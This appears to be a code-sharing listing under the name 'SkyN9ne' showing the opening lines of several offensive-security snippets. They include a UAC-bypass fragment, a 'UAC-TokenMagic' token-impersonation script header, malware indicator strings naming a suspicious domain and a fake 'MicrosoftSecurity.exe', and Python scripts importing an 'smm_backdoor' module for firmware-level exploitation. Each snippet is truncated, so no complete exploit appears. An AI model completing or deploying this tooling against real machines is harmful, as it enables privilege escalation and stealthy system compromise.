SkyN9ne

$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]

SkyN9ne

Global $susp_domain_1 = "googleads.publicvm.com"
Global $int_223 = 223
Global $string_C:\MicrosoftSecurity = "C:\MicrosoftSecurity"
Global $susp_file_lnk_1 = "MicrosoftCMD.lnk"
Global $string_microsoft = "Microsoft"
Global $string_microsoftsecurity = "Microsoft Security"
Global $string_microsoftsecurity_exe = "MicrosoftSecurity.exe"
Global $int_4 = 4
Global $string_vbs = "vbs"
Local $string_zeus = "Zeus"

SkyN9ne

#!/usr/bin/env python

def deobfuscate_strings(numbers_string, substract_number):
    result = ''
    
    numbers_list = numbers_string.split('.')
    
    for number in numbers_list:
        result = result + chr(int(number) - int(substract_number))

SkyN9ne

#include "stdafx.h"

#define DB(_val_) __asm __emit (_val_)

#define INVALID_SYSCALL (DWORD)(-1)

// code selectors
#define CS_32   0x23
#define CS_64   0x33

SkyN9ne

void TestCopy()
{
    BOOL                cond = FALSE;
    IFileOperation     *FileOperation1 = NULL;
    IShellItem         *isrc = NULL, *idst = NULL;
    BIND_OPTS3          bop;
    SHELLEXECUTEINFOW   shexec;
    HRESULT             r;

    do {

SkyN9ne

function UAC-TokenMagic {
<#
.SYNOPSIS
	Based on James Forshaw's three part post on UAC, linked below, and possibly a technique
	used by the CIA!
	
	Essentially we duplicate the token of an elevated process, lower it's mandatory
	integrity level, use it to create a new restricted token, impersonate it and
	use the Secondary Logon service to spawn a new process with High IL. Like
	playing hide-and-go-seek with tokens! ;))

SkyN9ne

import sys, os, mmap, subprocess
from struct import pack, unpack
from ctypes import *

IA32_SYSENTER_ESP = 0x175
IA32_SYSENTER_EIP = 0x176

class PyObj(Structure):
    
    _fields_ = [( 'ob_refcnt', c_size_t ),

SkyN9ne

#!/usr/bin/env python

import sys, os, platform, ctypes
from struct import pack, unpack

import smm_backdoor as bd

try:

    import capstone

SkyN9ne

#!/usr/bin/env python

import sys, os, platform, ctypes, ctypes.wintypes
from struct import pack, unpack

import smm_backdoor as bd


# MSR register used by swapgs
IA32_KERNEL_GS_BASE = 0xc0000102

SkyN9ne

#!/usr/bin/env python

import sys, os, time, platform, ctypes
from struct import pack, unpack
from optparse import OptionParser, make_option

import smm_backdoor as bd

# how many seconds to wait for VM exit occur
VM_EXIT_WAIT = 3